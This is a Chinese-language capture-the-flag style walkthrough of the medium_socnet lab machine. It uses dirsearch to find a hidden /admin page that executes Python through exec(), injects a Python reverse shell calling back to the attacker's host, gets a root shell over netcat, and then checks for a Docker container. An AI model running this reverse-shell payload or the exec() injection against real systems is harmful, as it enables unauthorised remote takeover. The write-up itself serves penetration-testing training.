靶机: medium_socnet( 二 )

其中 5000 有 http 服务可以尝试在浏览器中访问一下 http://192.168.56.101:5000

  • 在网页中并没有什么特别的 , 唯一有的一个数据输入点上也不能注入
  • 可以使用爬虫类程序,探查 Web 应用是否存在 隐藏路径
第三步:攻击方式判断使用工具 dirsearch 进行探查
  • dirsearch 的基本参数 --url=,比如:dirsearch --url=http://192.168.56.101:5000/
使用 dirsearch 进行简单探查发现隐藏目录 /admin 其中 admin 英文含义就可以知道这个隐藏页面与管理员可能有关系 , 可以对其访问 http://192.168.56.101:5000/admin
┌──(kali?kali)-[~]└─$ dirsearch --url=http://192.168.56.101:5000/130 ?_|. _ ____ _|_v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txtError Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.logTarget: http://192.168.56.101:5000/[11:40:29] Starting:[11:40:58] 200 -401B- /adminTask Completed访问后发现,里面的提示 Nothing was ran. Input some code to exec() 此内容与 python 相关,在前面端口探测中也知道此网站是 Werkzeug httpd 0.14.1 (Python 2.7.15)
而 Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行 , 那么我们可以尝试查找关于 Python 2.7.15 反弹 shell 的代码,通过 exec() 进入 192.168.56.101 这台机器了
  • Python 2.7.15 反弹 shell
    • 首先我们需要开启 kali 的监听,监听可以使用命令 netcat 也可以使用简化命令 nc
      netcat 部分参数
      • -l 侦听模式,用于入站连接
      • -n 禁止名称/端口解析
      • -p 端口本地端口号 , 端口号可以是单独的,也可以是范围
      • -v 信息细化,连用两次可以获得更详细的信息
      # 使用端口注意 , 建议使用端口是 1024~49151 范围以内# 公认端口:0~1023# 注册端口:1024~49151# 动态端口:49152~65535netcat -lnvp 23333
    • http://192.168.56.101:5000/admin 页面内容注入 python 代码
      import os,subprocess,socket# 创建套接字s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)# socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议# 创建通信s.connect(('192.168.56.103',23333))# 重定向,保障通信的输入与输出os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)# 生成反弹的 shellp=subprocess.call(["/bin/sh","-i"])# 使用时压缩上面的代码,以便 exec() 执行import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
    最终得到响应的反射 shell 结果,从此处我们就可以控制 192.168.56.101 这台机器了 , 并且有 root 级别权限
    ┌──(kali?kali)-[~]└─$ netcat -lnvp 23333listening on [any] 23333 ...connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933/app # lsDockerfilemain.pyrequirements.txttemplates/app # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
但我们还需要进一步深入探索,排除是否处在容器或蜜罐陷阱中
内网渗透挖掘潜在价值首先探索一下目录内容 , 查看是否有什么特别的
┌──(kali?kali)-[~]└─$ netcat -lnvp 23333listening on [any] 23333 ...connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933/app # lsDockerfilemain.pyrequirements.txttemplates/app # iduid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)/app # cat ./Dockerfile#docker build -t socnet .#docker run -td --rm -p 8080:8080 socnetFROM python:2.7-alpineCOPY . /appWORKDIR /appRUN pip install -r requirements.txtCMD ["python", "/app/main.py"]发现其中有 Dockerfile 文件 , 查看里面的 发现我们可能处在容器中
  • 查看根目录中是否存在 .dockerenv 文件
  • 查看 /proc/1/cgroup 中的内容是否大量与 docker 有关
/app # ls /.dockerenv/.dockerenv/app # cat /proc/1/cgroup11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca

推荐阅读